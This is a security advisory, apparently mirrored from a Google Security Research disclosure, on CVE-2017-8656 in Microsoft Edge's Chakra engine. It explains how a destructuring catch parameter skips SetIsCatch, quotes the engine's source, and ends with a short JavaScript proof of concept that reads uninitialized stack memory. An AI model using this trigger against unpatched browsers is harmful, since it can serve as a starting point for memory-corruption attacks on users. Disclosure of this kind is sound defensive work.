Exploit the possiblities

Microsoft Edge Charka PreVisitCatch Missing Call

Microsoft Edge Charka PreVisitCatch Missing Call
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra does not call SetIsCatch for all cases in PreVisitCatch.

tags | exploit
advisories | CVE-2017-8656
MD5 | 46515fd1c1a80220b621f07b9b99321a

Microsoft Edge Charka PreVisitCatch Missing Call

Change Mirror Download
Microsoft Edge: Chakra: PreVisitCatch doesn't call SetIsCatch for all cases 

CVE-2017-8656


function trigger() {
try {
} catch (x) {
var x = 1;
}

print(x);
}

trigger();

When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars".

void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo)
{
...
for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext)
{
Symbol* sym = pnode->sxVar.sym;

if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar()))
{
if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar()))
{
...
sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope.
...
}
}

// Emit bytecode which initalizes "sym"
}
...
}


However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true.

Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack.

void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
{
// Push the catch scope and add the catch expression to it.
byteCodeGenerator->StartBindCatch(pnode);
if (pnode->sxCatch.pnodeParam->nop == knopParamPattern)
{
Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item)
{
Symbol *sym = item->sxVar.sym;
});
}
else
{
Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef;
sym->SetIsCatch(true);
pnode->sxCatch.pnodeParam->sxPid.sym = sym;
}
...
}

PoC:
function trigger() {
try {
} catch ({x}) {
var x = 1;
}

print(x);
}

trigger();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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